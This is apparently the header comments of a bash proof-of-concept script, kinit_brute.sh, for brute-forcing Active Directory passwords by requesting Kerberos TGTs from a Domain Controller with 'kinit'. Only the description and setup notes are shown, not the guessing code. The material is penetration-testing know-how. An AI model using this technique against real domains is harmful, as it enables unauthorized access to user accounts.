A quick tool to bruteforce an AD user's password by requesting TGTs from the Domain Controller with 'kinit'

kinit_brute.sh

#!/bin/bash

# Title: kinit_brute.sh
# Author: @ropnop
# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
# The script configures the realm and KDC for you based on the domain provided and the domain controller
# Since this configuration is only temporary though, if you want to actually *use* the TGT you should actually edit /etc/krb5.conf
# Only tested with Heimdal kerberos (error messages might be different for MIT clients). Install: $ apt-get install heimdal-clients
